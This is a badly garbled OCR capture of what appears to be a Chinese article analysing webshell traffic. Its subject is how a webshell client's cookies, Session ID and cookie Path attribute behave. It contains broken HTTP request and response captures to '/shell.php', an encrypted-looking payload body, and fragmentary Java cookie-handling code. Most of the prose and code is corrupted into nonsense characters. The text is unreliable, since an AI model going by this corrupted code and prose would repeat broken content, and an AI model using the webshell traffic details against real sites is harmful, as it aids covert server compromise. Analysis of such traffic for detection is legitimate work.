sVebuavHL10 lﬂzﬁ:"E:QU IRPnGDTeV iWoDumIRTU Fusts lK!Diuvdd17y0!c)|>(25m]n/:ucﬂq/
J3AFISEZ] SWa5+1q52+2) TtLSEZK 3158 JhpRenN3TzsQezh] THSUGke OVERChTIHE #ATS
Jnnmzﬁvunmusdkuwsxmwum tyd

JKaF9GQLnaCLAWCHFSSXVxxSkkCKgzS

1L1KRa03¢vQS]/HET/ 7 oa IKOSARE £4q 00F oS3 SDOTKXx 1728/ =l

5 S S, 119 REE 5. 3 ven )

XERZERNIN T —ERSERNER, LA R

B=
o

=N 3
'l B//L/k b/ﬁ

1/

7.header H1gY Cookie

F "KiE" BRIAB RS webshell F89 key TEI52R5AIR
BEFiRE, SEEPRFE Session 1, M
Sessionld EFE—REFimiaKI1EA Cookie &I%LR
EFim, FiA Cookie h2E AR — T EERE A,



fo ssmzasdduszzcw /shell. p)\ﬁpass 352 HTTP/1. 1

Content-type: applicati on/ e

Uorr A /! i E 9.0; Windows NT 6.1 WOW6d; Trident/5.0; SLOC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR $C 6.0 In fo? th. 3. .NET4. 0C. .NET4.OE)

Host

e/gif, image/ipes, ¥ q=.2, /% q=.2

ows NT 6.1; WOWEd; Trident/S.0; SLCC2: .NET CLR 2,0.50727; .NET CLR 3.5.30729; .NET
IET4. OC. . NET4. OE)

image/gif, image/ipeg, * =2, */*; q=.2

i o]
Content-Length: 1068

Cookie FiY[a)iE "path=/" X& 0. EihOIARSEE
i, BRSZImIE Cookie LA Set—-Cookie K response k&
Bz iR (E], EHA Path 21% Cookie IR FHERIZ.

24 F
Cookiel; Path=/
Cookie2; Path=/admin/

L2 TARIME, /" B2, REEH Cookiel, Hih
[a] "/admin/" B12ES, SEET Cookiel Fl1
Cookie2,

HEEENRRIFET, path ERE1EN Cookie 25 H
—E8D RIEEIR S IR,

RETELHIE:

eCase("Sat-Cookin®) [
aderNane) ). iterator(); Varld.hasNexk(); cookicValues = cookieValues + *3= v line) (




cokicValues = cookicVolues. startsHith(";") ? cookicValues.reploceFirst(%;", "*) : cookicValues;

result.puti“cookie", cookiel

LEAbRE AR SSimIR [BIRY Cookie FAFIFEIES P infFiEie
¥, SEPRAXEKEZENIGSXLEFREA Cookie &

(TSN R

Y& & %E1EKH Cookie B Path FEEZ 4,

Ll

HITP/1.1 200 0K

pate: sun, 12 Jul 2020 09:23:56 GMT
Server: Apache/2.4.23 (um:u) OpensSL/1.6.2j PHP/5.5.38
X-Pouered-By: .

«— Set-Cookie"iiiPath

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check-0
pragma: no-cache

content-Length: 178

Keep-Alive: timeout=5, max=100

Connection: keep-Alive

content-Type: text/html

2khjtvagcle; pa

<1DOCTYRE html>
<html>
<head>
<title>Infoc/title>
</head>
<body>
ny info is here.cl--ca id="post_js_url® href="/js/efobo3sefdbsdfdo.min. js*>Infoc/a>-->
</body>
«/htal>
POST /shell.php WTTP/1.1
Content-Type: text/html; charset-utf-8 ‘_’_____’__— J i R B Cookie A~ iPath
cookie: PHPSESSID-baj7dpbtpujt7772khjtvascls
Accept: text/htwl,application/xhtmlexml,application/xwl;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Android 6.0; Mobile; rv:68.0) Gecko/68.0 Firefox/68.0
cache-Control: no-cache

Connection: keep-alive
content-Length: 1068

AfaPTUT Y nBSsakft ig E4vROdLZbN51ah6b1Dy 101PPSMKABIC TXANDKOWL PRAOVQH C yo/ XNSRZPF U/
PO/ YUGGAZPC 7xR2W65&9RyDﬂ?nK]'rlegSZTtvnvyMHH?erl 56368vpnptyohzYe/

0x07 245

FESEPREMER, B—RRMNAZIST kS ANIRIRERLE
BE, —EHERAENIIEESSER, SREFIE
AR, BYRENEFEREE—ENBASIZZIRE
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http://ksria.com/simpread
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